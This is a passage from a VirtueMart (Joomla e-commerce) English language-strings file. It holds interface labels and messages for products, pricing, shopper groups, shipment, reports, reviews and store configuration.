COM_VIRTUEMART_PRODUCT_FORM_PARENT="Parent" COM_VIRTUEMART_PRODUCT_FORM_PARENT_INFO_LBL="Edit Parent" COM_VIRTUEMART_PRODUCT_FORM_PRICES="Product pricing (you are in shoppergroups: %1$s)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE="Base price" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASEWITHTAX="Base price with tax" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE_TIP="The base price is the cost price converted into vendor default currency" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST="Cost price" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST_TIP="This is actual cost price in the currency selected" COM_VIRTUEMART_PRODUCT_FORM_PRICE_DISCOUNT="Discount" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL="Final price" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL_TIP="The final price is the baseprice with all affecting rules applied in vendor default currency" COM_VIRTUEMART_PRODUCT_FORM_PRICE_GROSS="Product Price (Gross)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_NET="Product Price (Cost)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_RETAIL="Product Price (Retail)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_TAX="Tax" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_CUSTOM_TAB="Custom Fields" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_DIM_WEIGHT_LBL="Product Dimensions and Weight" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_IMAGES_LBL="Product Images" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_INFO_LBL="Product Information" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_ITEMS_LBL="Child Product List" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_STATUS_LBL="Product Status" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_TYPES_TAB="Product Types" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_VARIANTS_LBL="Product Variants" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY="Property" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY_NEW="New Property" COM_VIRTUEMART_PRODUCT_FORM_PURCHASE_PRICE="Product Price" COM_VIRTUEMART_PRODUCT_FORM_RULES_OVERRIDES="Pricing rules overrides" COM_VIRTUEMART_PRODUCT_FORM_SKU="Product SKU" COM_VIRTUEMART_PRODUCT_FORM_SPECIAL="On Featured" COM_VIRTUEMART_PRODUCT_FORM_STEP_ORDER="Purchase Quantity Steps" COM_VIRTUEMART_PRODUCT_FORM_S_DESC="Short Description" COM_VIRTUEMART_PRODUCT_FORM_UNIT="Unit" COM_VIRTUEMART_PRODUCT_FORM_UNIT_DEFAULT="piece" COM_VIRTUEMART_PRODUCT_FORM_UPDATE_ITEM_LBL="Update Item" COM_VIRTUEMART_PRODUCT_FORM_URL="URL" COM_VIRTUEMART_PRODUCT_FORM_VENDOR="Vendor" COM_VIRTUEMART_PRODUCT_HEIGHT="Product Height" COM_VIRTUEMART_PRODUCT_ID="Product id" COM_VIRTUEMART_PRODUCT_ID_MISSING="A product ID is missing." COM_VIRTUEMART_PRODUCT_IMAGE="Product image" COM_VIRTUEMART_PRODUCT_IMAGEURL_MUSTBEGIN="Image URL must begin with http." COM_VIRTUEMART_PRODUCT_IMGDEL_FAILED="Failed deleting Product Images!" COM_VIRTUEMART_PRODUCT_INFORMATION="Product Information" COM_VIRTUEMART_PRODUCT_INVENTORY="Inventory" COM_VIRTUEMART_PRODUCT_INVENTORY_PRICE="Stock Value" COM_VIRTUEMART_PRODUCT_INVENTORY_VALUE="Value" COM_VIRTUEMART_PRODUCT_INVENTORY_WEIGHT="Weight" COM_VIRTUEMART_PRODUCT_IN_STOCK="Product in stock" COM_VIRTUEMART_PRODUCT_LENGTH="Product Length" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE="Search Product" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_AFTER="after" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_BEFORE="before" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRICE="with Price modified" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRODUCT="modified" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_WITHOUTPRICE="without Price" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_PARENT_PRODUCT="only parent" COM_VIRTUEMART_PRODUCT_LIST_VENDOR_NAME="Vendor Name" COM_VIRTUEMART_PRODUCT_LIST_X_CHILDREN="List all %s children" COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY="The product %s has a stock of %d." COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT="The product %s has a low stock" COM_VIRTUEMART_PRODUCT_LWH_UOM="Length/Weight/Height Unit of Measure" COM_VIRTUEMART_PRODUCT_MASSXREF="Bulk association (i.e. categories, shoppergroups) with selected products" COM_VIRTUEMART_PRODUCT_MEDIA="Media File" COM_VIRTUEMART_PRODUCT_MOD="Products" COM_VIRTUEMART_PRODUCT_NAME="Product Name" COM_VIRTUEMART_PRODUCT_NAME_TITLE="Product Name" COM_VIRTUEMART_PRODUCT_NOTIFY_MESSAGE_SENT="Email(s) sent" COM_VIRTUEMART_PRODUCT_NOTIFY_NUMBER="Number to notify (leave blank for all)" COM_VIRTUEMART_PRODUCT_NOTIFY_USER="Notify users" COM_VIRTUEMART_PRODUCT_NOT_CLONED_SUCCESSFULLY="The product was not successfully cloned" COM_VIRTUEMART_PRODUCT_NOT_FOUND="Sorry, but the Product you have requested was not found!" COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY="Child product not created successfully" COM_VIRTUEMART_PRODUCT_OF="of" COM_VIRTUEMART_PRODUCT_ORDER_LEVELS="Product Order Levels" COM_VIRTUEMART_PRODUCT_PACKAGING="Product Packaging" COM_VIRTUEMART_PRODUCT_PACKAGING_DESCRIPTION="In case your product is sold in units, like meters, grams or, liters, enter here the amount. For example 0.7 for a 0.7 %1$s bottle or 2.5 for 250 ml in case you choosed for %2$s %3$s" COM_VIRTUEMART_PRODUCT_PARENT_LIST_CHILDREN="Product has Children?" COM_VIRTUEMART_PRODUCT_PRICE="Product Price" COM_VIRTUEMART_PRODUCT_PRICE_DATE_RANGE="Date range" COM_VIRTUEMART_PRODUCT_PRICE_FROM="From" COM_VIRTUEMART_PRODUCT_PRICE_QUANTITY_RANGE="Quantity range" COM_VIRTUEMART_PRODUCT_PRICE_TITLE="Product Price" COM_VIRTUEMART_PRODUCT_PRICE_TO="To" COM_VIRTUEMART_PRODUCT_PRINT_INTNOTES="Internal note" COM_VIRTUEMART_PRODUCT_PRODUCT_TYPE_FORM_PRODUCT_TYPE="Product Type" COM_VIRTUEMART_PRODUCT_RELATED_SEARCH="Search for Related Products" COM_VIRTUEMART_PRODUCT_RELATIONSHIP="Family" COM_VIRTUEMART_PRODUCT_S="Products" COM_VIRTUEMART_PRODUCT_SALES="Product Sales" COM_VIRTUEMART_PRODUCT_SALESPRICE="Sales price " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX="Sales price without tax " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT="Salesprice with discount " COM_VIRTUEMART_PRODUCT_SHOPPERS="Send an email to Shoppers" COM_VIRTUEMART_PRODUCT_SHOPPERS_LIST="List of shoppers who bought %1$s" COM_VIRTUEMART_PRODUCT_SKU="Product SKU" COM_VIRTUEMART_PRODUCT_SPECIAL="Featured Product" COM_VIRTUEMART_PRODUCT_S_DESC="Product Short description" COM_VIRTUEMART_PRODUCT_TAX_AMOUNT="Tax amount " COM_VIRTUEMART_PRODUCT_TAX_NONE="Apply no rule" COM_VIRTUEMART_PRODUCT_TAX_NO_SPECIAL="Apply default rules" COM_VIRTUEMART_PRODUCT_UNIT="Product Unit" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE="Use notification template" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE_TIP="If checked, the default notification will be sent." COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT="%s has arrived!" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFIED="Notified" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFYUSERS="Notify these users now (when you have updated the number of products stock)" COM_VIRTUEMART_PRODUCT_WAITING_LIST_TAB="Waiting List" COM_VIRTUEMART_PRODUCT_WAITING_LIST_USERLIST="Users waiting to be notified when this product is back in stock" COM_VIRTUEMART_PRODUCT_WAITING_NOWAITINGUSERS="No waiting users" COM_VIRTUEMART_PRODUCT_WEIGHT="Product Weight" COM_VIRTUEMART_PRODUCT_WEIGHT_UOM="Product Weight Unit" COM_VIRTUEMART_PRODUCT_WIDTH="Product Width" COM_VIRTUEMART_PRODUCT_XREF_CAT="Bulk associate categories" COM_VIRTUEMART_PRODUCT_XREF_CAT_EXE="Execute bulk association of categories" COM_VIRTUEMART_PRODUCT_XREF_NAMES="Selected products %s" COM_VIRTUEMART_PRODUCT_XREF_SGRPS="Bulk associate shoppergroups" COM_VIRTUEMART_PRODUCT_XREF_SGRPS_EXE="Execute bulk association of shoppergroups" COM_VIRTUEMART_PUBLISHED="Published" COM_VIRTUEMART_PUBLISH_ITEM="Publish item" COM_VIRTUEMART_RAISEWARNING_NOT_ABLE_TO_SAVE_USER_DATA="used RaiseWarning: Was not able to save the VirtueMart user data" COM_VIRTUEMART_RATE_FORM_VAT_ID="Tax" COM_VIRTUEMART_RATE_NOM="Rating" COM_VIRTUEMART_RATINGS="Reviews & Ratings" COM_VIRTUEMART_RATING_DATE_TITLE="Review date" COM_VIRTUEMART_RATING_EDIT_TITLE="Edit Shopper Review" COM_VIRTUEMART_RATING_TITLE="Rating" COM_VIRTUEMART_RECENT_PRODUCTS="Recently Viewed Products" COM_VIRTUEMART_REGISTER_ACCOUNT="Register an Account?
    An Account allows you to come back to this shop and view all the orders you have made." COM_VIRTUEMART_REGISTER_TITLE="Registration" COM_VIRTUEMART_REGISTRATION_FORM_NONE="none" COM_VIRTUEMART_REG_COMPLETE="
    Registration Complete!
    " COM_VIRTUEMART_REG_COMPLETE_ACTIVATE="
    Registration Completed!

    Your account has been created and an activation link has been sent to the e-mail address you entered. Note that you must activate the account by clicking on the activation link when you get the e-mail before you can login." COM_VIRTUEMART_REG_VENDOR_COMPLETE="
    Registration of vendor complete!
    " COM_VIRTUEMART_REG_VENDOR_COMPLETE_ACTIVATE="
    Registration of vendor Completed!

    Your account has been created and an activation link has been sent to the e-mail address you entered. Note that you must activate the account by clicking on the activation link when you get the e-mail before you can login." COM_VIRTUEMART_RELATED_CATEGORIES="Related Categories" COM_VIRTUEMART_RELATED_CATEGORIES_TIP="Add categories to display in the Product Details Page" COM_VIRTUEMART_RELATED_PRODUCTS="Related Products" COM_VIRTUEMART_RELATED_PRODUCTS_HEADING="You may also be interested in this/these product(s)" COM_VIRTUEMART_RELATED_PRODUCTS_TIP="Add products to display in the Product Details Page" COM_VIRTUEMART_RELOAD="Reload" COM_VIRTUEMART_REMEMBER_ME="Remember me" COM_VIRTUEMART_REPORT="Revenue Report" COM_VIRTUEMART_REPORT_BASIC_DATE="Date" COM_VIRTUEMART_REPORT_BASIC_INDIVIDUAL="Individual Product Listings" COM_VIRTUEMART_REPORT_BASIC_LAST60_BUTTON="Last 60 days" COM_VIRTUEMART_REPORT_BASIC_LAST90_BUTTON="Last 90 days" COM_VIRTUEMART_REPORT_BASIC_LASTMONTH_BUTTON="Last Month" COM_VIRTUEMART_REPORT_BASIC_ORDERS="Orders" COM_VIRTUEMART_REPORT_BASIC_PRODLIST="Product Listing" COM_VIRTUEMART_REPORT_BASIC_REPORT_FOR="Report for" COM_VIRTUEMART_REPORT_BASIC_REVENUE_BRUTTO="Revenue gross" COM_VIRTUEMART_REPORT_BASIC_REVENUE_NETTO="Revenue net" COM_VIRTUEMART_REPORT_BASIC_SALES_PAGE_TITLE="Sales Activity Overview, // not used?" COM_VIRTUEMART_REPORT_BASIC_SALE_TITLE="Sales Reporting, // not used?" COM_VIRTUEMART_REPORT_BASIC_SHOW_SEL_RANGE="Show this selected range" COM_VIRTUEMART_REPORT_BASIC_THISMONTH_BUTTON="This Month" COM_VIRTUEMART_REPORT_BASIC_TOTAL_ITEMS="Total Items sold" COM_VIRTUEMART_REPORT_FROM_PERIOD="From: " COM_VIRTUEMART_REPORT_INTERVAL="Set Interval" COM_VIRTUEMART_REPORT_INTERVAL_END_DATE="End Date" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_DAILY="Daily" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_MONTHLY="Monthly" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_WEEKLY="Weekly" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_YEARLY="Yearly" COM_VIRTUEMART_REPORT_INTERVAL_START_DATE="Start Date" COM_VIRTUEMART_REPORT_PERIOD_LAST30="Last 30 days" COM_VIRTUEMART_REPORT_PERIOD_LAST60="Last 60 days" COM_VIRTUEMART_REPORT_PERIOD_LAST90="Last 90 days" COM_VIRTUEMART_REPORT_PERIOD_THIS_MONTH="This Month" COM_VIRTUEMART_REPORT_PERIOD_THIS_WEEK="This Week" COM_VIRTUEMART_REPORT_PERIOD_THIS_YEAR="This Year" COM_VIRTUEMART_REPORT_PERIOD_TODAY="Today" COM_VIRTUEMART_REPORT_SET_PERIOD="Set Period: " COM_VIRTUEMART_REPORT_TITLE="Report for the period from %s to %s" COM_VIRTUEMART_REPORT_UNTIL_PERIOD="Until: " COM_VIRTUEMART_REPORT_UPDATEORDERITEMS="Update Order Items" COM_VIRTUEMART_REPORT_UPDATEORDERITEMS_WARN="For correct net price calculation you must update order items table. Use the button on top of the site." COM_VIRTUEMART_RESET="Reset" COM_VIRTUEMART_REVIEW="Shopper Review" COM_VIRTUEMART_REVIEW_COUNT="Characters written:" COM_VIRTUEMART_REVIEW_DETAILS="Shopper Review Details" COM_VIRTUEMART_REVIEW_ERR_COMMENT1_JS="Please write down some more words for your review. Minimum characters allowed: %s" COM_VIRTUEMART_REVIEW_ERR_COMMENT2_JS="Please shorten your review. Maximum characters allowed: %s" COM_VIRTUEMART_REVIEW_FORM_LBL="Product Reviews" COM_VIRTUEMART_REVIEW_LOGIN="Please log in to write a review." COM_VIRTUEMART_REVIEW_RATE="Review & Rating" COM_VIRTUEMART_REVIEW_RATE_S="Reviews & Ratings" COM_VIRTUEMART_REVIEW_S="Shopper Reviews" COM_VIRTUEMART_RULES_EFFECTING="Rule(s) Affecting: " COM_VIRTUEMART_RULES_EFFECTING_TIP="Be aware that you see the prices with your conditions, that means always quantity = 1 and YOUR shoppergroup. Dont wonder that you see no taxes, if your are not in the group to be taxed. Dont wonder that you may see a strange discount, which you gave a tester group, which your are in. To see the prices for not logged users and similar, check the frontend, use the link provided at the title of the page" COM_VIRTUEMART_SAFE_PATH_DEFAULT_CREATED="Default safe path created: %1s" COM_VIRTUEMART_SAFE_PATH_INVOICE_CREATED="Path for invoices created" COM_VIRTUEMART_SALES="Best Selling" COM_VIRTUEMART_SAMPLE_DATA="Install
    Sample Data" COM_VIRTUEMART_SAMPLE_DATA_INSTALLED="Sample data installed!!" COM_VIRTUEMART_SAVE="Save" COM_VIRTUEMART_SAVED_CART_TITLE="Saved Cart" COM_VIRTUEMART_SAVE_PERMISSIONS="Save Permissions" COM_VIRTUEMART_SEARCH_ALL_CATEGORIES="Search all Categories" COM_VIRTUEMART_SEARCH_ALL_PRODINFO="Search all product info" COM_VIRTUEMART_SEARCH_AND="and" COM_VIRTUEMART_SEARCH_DESCRIPTION="Product description only" COM_VIRTUEMART_SEARCH_LBL="Search" COM_VIRTUEMART_SEARCH_MANU_VENDOR="Manufacturer / Vendor only" COM_VIRTUEMART_SEARCH_NOT="not" COM_VIRTUEMART_SEARCH_PRODNAME="Product name only" COM_VIRTUEMART_SEARCH_SELECT_ALL_MANUFACTURER="Select all manufacturers" COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER="Select manufacturers" COM_VIRTUEMART_SEARCH_TITLE="Search" COM_VIRTUEMART_SELECT="Select %s" COM_VIRTUEMART_SELECT_CATEGORY="Select a category..." COM_VIRTUEMART_SELECT_CUSTOM_PLUGIN="Select a plug-in " COM_VIRTUEMART_SELECT_FILE="Select a file" COM_VIRTUEMART_SELECT_ITEM_TO_DELETE="Select an item to delete" COM_VIRTUEMART_SELECT_ITEM_TO_TOGGLE="Select an item to toggle" COM_VIRTUEMART_SELECT_MANUFACTURER="Select manufacturer" COM_VIRTUEMART_SELECT_MANUFACTURER_CATEGORY="Select manufacturer category" COM_VIRTUEMART_SELECT_PAYMENT_METHOD="Please select a Payment Method in the tab Payment Method Information and click »Apply« button in Joomla 1.5.x or »Save« button in Joomla 2.5.x to display the appropriate parameters here." COM_VIRTUEMART_SELECT_PERIOD="Select period" COM_VIRTUEMART_SELECT_PRODUCT="Select a product" COM_VIRTUEMART_SELECT_SHIPPING_METHOD="Please select a Shipment Method in the tab Shipment Method Information and click »Apply« button in Joomla 1.5.x or »Save« button in Joomla 2.5.x to display the appropriate parameters here." COM_VIRTUEMART_SELECT_USER_TO_MODIFY="Select a user to modify" COM_VIRTUEMART_SEND_BUTTON="Send" COM_VIRTUEMART_SEND_SUB="Account details for %s at %s" COM_VIRTUEMART_SETSTOREOWNER="Set store owner" COM_VIRTUEMART_SET_TO_DEFAULT_SUCCESSFULLY="Default Shopper group changed" COM_VIRTUEMART_SHARED="Shared" COM_VIRTUEMART_SHARED_TOGGLE_OFF="Set unshared" COM_VIRTUEMART_SHARED_TOGGLE_ON="Set shared" COM_VIRTUEMART_SHIPMENTMETHOD="Shipment Method" COM_VIRTUEMART_SHIPMENTMETHOD_S="Shipment Methods" COM_VIRTUEMART_SHIPMENT_CLONE="Clone shipment" COM_VIRTUEMART_SHIPMENT_CLONED_SUCCESSFULLY="Shipment successfully cloned" COM_VIRTUEMART_SHIPMENT_LIST_DESCRIPTION_LBL="Shipment Description" COM_VIRTUEMART_SHIPMENT_NAME="Shipment Name" COM_VIRTUEMART_SHIPMENT_NAME_LBL="Shipment Name" COM_VIRTUEMART_SHIPMENT_NOT_CLONED_SUCCESSFULLY="Shipment cloning failed" COM_VIRTUEMART_SHIPPINGRATE="Shipment Rate" COM_VIRTUEMART_SHIPPINGRATE_DETAILS="Shipment Rate Details" COM_VIRTUEMART_SHIPPINGRATE_S="Shipment Rates" COM_VIRTUEMART_SHIPPING_CLASS_NAME="Shipment Method" COM_VIRTUEMART_SHIPPING_CLASS_NAME_TIP="Select the Shipment Method to use for this method, and click Apply button for Joomla 1.5.x, or Save button for Joomla 2.5.x to display the appropriate parameters in the configuration tab" COM_VIRTUEMART_SHIPPING_FORM_DESCRIPTION="Shipment Description" COM_VIRTUEMART_SHIPPING_FORM_NAME="Shipment Name" COM_VIRTUEMART_SHIPPING_FORM_SHOPPER_GROUP="Shopper Group" COM_VIRTUEMART_SHIPPING_FORM_VAT="VAT" COM_VIRTUEMART_SHIPPING_NAME="Shipment name" COM_VIRTUEMART_SHIPPING_SHOPPERGROUPS="Shopper Group" COM_VIRTUEMART_SHIPTO_TEXT="You can add shipment locations to your account. Please think of a suitable nickname or code for the shipment location you select below." COM_VIRTUEMART_SHOPPERGROUP="Shopper Group" COM_VIRTUEMART_SHOPPERGROUP_ADDED="The Shopper Group has been added." COM_VIRTUEMART_SHOPPERGROUP_ALREADY_EXISTS="Shopper group already exists for this vendor." COM_VIRTUEMART_SHOPPERGROUP_CANT_MAKE_DEFAULT="You can't set this shopper group %1$s with id %2$s as default" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT="Default Shopper Group" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT_TIP="New shoppers will be assigned to this group" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT="You can't delete the default shopper group %1$s with id %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_WITH_MEMBERS="There are still users assigned to this shopper group %1$s with id %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_DEFAULT="Cannot delete the default Shopper Group." COM_VIRTUEMART_SHOPPERGROUP_DELETE_PAYMENT_METHODS_ASS="This Shopper Group Id" COM_VIRTUEMART_SHOPPERGROUP_DELETE_SELECT="Please select a Shopper Group to delete." COM_VIRTUEMART_SHOPPERGROUP_DELETE_USERS_ASS="There are still Users assigned to this Shopper Group ID" COM_VIRTUEMART_SHOPPERGROUP_DESCRIPTION="Shopper Group Description" COM_VIRTUEMART_SHOPPERGROUP_DETAILS="Shopper Group Details" COM_VIRTUEMART_SHOPPERGROUP_ENABLE_PRICE_DISPLAY="Enable shoppergroup specific price display" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT="Price Discount on default Shopper Group (in %)" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT_TIP="A positive amount X means" COM_VIRTUEMART_SHOPPERGROUP_GUEST="Guest Shopper Group" COM_VIRTUEMART_SHOPPERGROUP_GUEST_DESCR="People who are not logged get automatically assigned to the group guest" COM_VIRTUEMART_SHOPPERGROUP_IDS="Shopper Groups" COM_VIRTUEMART_SHOPPERGROUP_LIST_DISCOUNT="Shopper Group Discount" COM_VIRTUEMART_SHOPPERGROUP_LIST_INCLUDE_TAX="Shopper Group incl. Tax" COM_VIRTUEMART_SHOPPERGROUP_MISSING_NAME="You must enter a Shopper Group name." COM_VIRTUEMART_SHOPPERGROUP_NAME="Shopper Group Name" COM_VIRTUEMART_SHOPPERGROUP_NAME_ALREADY_EXISTS_FOR_GIVEN_VENDOR="The given shopper group name already exists for the given vendor." COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS="Shopper group names should not have more than 32 characters" COM_VIRTUEMART_SHOPPERGROUP_RECORDS_MUST_HAVE_NAME="shopper groups must have a name" COM_VIRTUEMART_SHOPPERGROUP_S="Shopper Groups" COM_VIRTUEMART_SHOPPERGROUP_UPDATED="The Shopper Group has been updated." COM_VIRTUEMART_SHOPPERGROUP_UPDATE_FAILED="Failed to update the Shopper Group" COM_VIRTUEMART_SHOPPER_GROUP_NAME="Shopper group name" COM_VIRTUEMART_SHOPPER_STATE_NAME="state name" COM_VIRTUEMART_SHOW="Show" COM_VIRTUEMART_SHOW_DISCOUNTED="Discounted Products" COM_VIRTUEMART_SHOW_FEATURED="Featured Products" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX="Show the Remember me checkbox on login?" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX_TIP="When checked, the remember me box is shown on checkout. Not recommended when using shared ssl, because the shopper could choose not to get a user cookie - but that user cookie is required to keep the user logged in on both domains." COM_VIRTUEMART_SHOW_TITLE="Show Title" COM_VIRTUEMART_SKU="Sku" COM_VIRTUEMART_SLUG="Sef Alias" COM_VIRTUEMART_SORT_ERR_NUMBERS_ONLY="Error" COM_VIRTUEMART_SQL_ERROR="SQL Error" COM_VIRTUEMART_STANDARD_VIRTUEMART_CATEGORIES_LAYOUT="Standard VirtueMart Categories Layout" COM_VIRTUEMART_START_DATE="Start Date" COM_VIRTUEMART_START_SYNCRONIZING="Start Synchronizing!" COM_VIRTUEMART_STATE="State" COM_VIRTUEMART_STATES_COUNTRY="States of country %1$s" COM_VIRTUEMART_STATES_VIEW_LINK="View states list of
     %1$s" COM_VIRTUEMART_STATE_2_CODE="State (2) Code" COM_VIRTUEMART_STATE_3_CODE="State (3) Code" COM_VIRTUEMART_STATE_COUNTRY="State for country %1$s" COM_VIRTUEMART_STATE_DETAILS="State details" COM_VIRTUEMART_STATE_IDS="States" COM_VIRTUEMART_STATE_LIST_LBL="State List for" COM_VIRTUEMART_STATE_NAME="State Name" COM_VIRTUEMART_STATE_S="States" COM_VIRTUEMART_STATISTIC_ACTIVE_PRODUCTS="active Products" COM_VIRTUEMART_STATISTIC_CUSTOMERS="Shoppers" COM_VIRTUEMART_STATISTIC_INACTIVE_PRODUCTS="inactive Products" COM_VIRTUEMART_STATISTIC_NEW_CUSTOMERS="New Shoppers" COM_VIRTUEMART_STATISTIC_NEW_ORDERS="New Orders" COM_VIRTUEMART_STATISTIC_STATISTICS="Statistics" COM_VIRTUEMART_STATISTIC_SUM="Sum" COM_VIRTUEMART_STATISTIC_SUMMARY="Control Panel" COM_VIRTUEMART_STATUS="Status" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP="We are getting low on stock for this item" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP="We have plenty of Stock for this product" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP="Sorry, we currently have no stock for this item" COM_VIRTUEMART_STOCK_LEVEL_LOW="Product stock low" COM_VIRTUEMART_STOCK_LEVEL_NORMAL="Product stock sufficient" COM_VIRTUEMART_STOCK_LEVEL_OUT="Product not in stock!" COM_VIRTUEMART_STORE="Shop" COM_VIRTUEMART_STORE_CURRENCY_DISPLAY="Currency" COM_VIRTUEMART_STORE_FORM_ACCEPTED_CURRENCIES="List of accepted currencies" COM_VIRTUEMART_STORE_FORM_COMPANY_NAME="Shop Company Name" COM_VIRTUEMART_STORE_FORM_DESCRIPTION="Description" COM_VIRTUEMART_STORE_FORM_LBL="Shop Information" COM_VIRTUEMART_STORE_FORM_LEGAL="Legal Information" COM_VIRTUEMART_STORE_FORM_MPOV="Minimum purchase order value for your shop" COM_VIRTUEMART_STORE_FORM_STORE_NAME="Shop Name" COM_VIRTUEMART_STORE_FORM_TOS="Terms of Service" COM_VIRTUEMART_STORE_INFORMATION="Shop Information" COM_VIRTUEMART_STORE_MOD="Shop" COM_VIRTUEMART_STRING1_STRING2="%1$s %2$s" COM_VIRTUEMART_STRING_CANCELLED="%s record cancelled." COM_VIRTUEMART_STRING_COULD_NOT_BE_DELETED="%s could not be deleted." COM_VIRTUEMART_STRING_DELETED="%s successfully deleted." COM_VIRTUEMART_STRING_DELETED_ERROR="Error: The %s could not be deleted." COM_VIRTUEMART_STRING_ERROR_MUST_HAVE_NAME="Error: %s must have a name." COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME="The given %s is empty. This field is obligatory, please enter your data and store again." COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY="%1$s in record is missing! Can't save the record with no %1$s." COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY="%1$s primary key is missing! Can't save the record with no %1$s." COM_VIRTUEMART_STRING_FORBIDDEN_FOR_NON_VENDORS="%s function Forbidden for non vendors" COM_VIRTUEMART_STRING_ONLY_ALLOWED_FOR_ADMIN="%s function reserved for administrator Only" COM_VIRTUEMART_STRING_ORDER_DOWN_SUCCESS="%s successfully moved down" COM_VIRTUEMART_STRING_ORDER_UP_SUCCESS="%s successfully moved up" COM_VIRTUEMART_STRING_PUBLISHED_ERROR="Error: The %s could not be published." COM_VIRTUEMART_STRING_PUBLISHED_SUCCESS="%s successfully published." COM_VIRTUEMART_STRING_SAVED="%s successfully saved" COM_VIRTUEMART_STRING_SAVED_ERROR="Error: %s could not be saved" COM_VIRTUEMART_STRING_SAVED_SUCCESS="%s successfully saved" COM_VIRTUEMART_STRING_TOGGLE_ERROR="Error: The %s state could not be updated." COM_VIRTUEMART_STRING_TOGGLE_SUCCESS="%s state successfully updated." COM_VIRTUEMART_STRING_UNPUBLISHED_ERROR="Error: The %s could not be unpublished." COM_VIRTUEMART_STRING_UNPUBLISHED_SUCCESS="%s successfully unpublished." COM_VIRTUEMART_SYNC_MEDIA_FILES="Synchronize media to VirtueMart" COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_DISABLED="Action not performed. Please check %1$s first and come back here." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_ENABLED_JS="To use these tools fully, you must check '%1$s' in the Configuration panel." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_STILL_ENABLED="The configuration setting '%1$s' is enabled. Please disable this for security measures here in the Configuration panel." COM_VIRTUEMART_SYSTEM_DEFAULTS_RESTORED="System defaults restored!" COM_VIRTUEMART_SYSTEM_VMDATA_DELETED="VirtueMart data removed" COM_VIRTUEMART_SYSTEM_VMTABLES_DELETED="VirtueMart tables removed" COM_VIRTUEMART_TAX_EFFECTING="Tax Affecting: " COM_VIRTUEMART_TEMPLATE_DEFAULT="Default template" COM_VIRTUEMART_TEXTAREA_ATTRIBUTES="Textarea attributes" COM_VIRTUEMART_TEXTFIELD_ATTRIBUTES="Textfield attributes" COM_VIRTUEMART_THANK_MESSAGE="Thank you for your Enquiry. We will contact you as soon as possible." COM_VIRTUEMART_THRD_PARTY_CONTACT="contact the developer %1$s" COM_VIRTUEMART_THRD_PARTY_MANUAL="manual for %1$s" COM_VIRTUEMART_THUMB_NOT_FOUND="Thumbnail not found" COM_VIRTUEMART_TIME="Time" COM_VIRTUEMART_TITLE="Title" COM_VIRTUEMART_TITLE_IN_FIELDVALUES_CONTAINS_INVALID_CHARACTERS="Title in fieldvalues contains invalid characters" COM_VIRTUEMART_TOGGLE_ADMIN="Toggle Admin" COM_VIRTUEMART_TOGGLE_HIDDEN="Toggle Hidden" COM_VIRTUEMART_TOOLS_MOD="Tools" COM_VIRTUEMART_TOOLS_RENEW_CONFIG="Renew VirtueMart configuration by file" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_CONFIRM="Delete config stored in database, load defaults from file and set in session?" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_EXPLAIN="

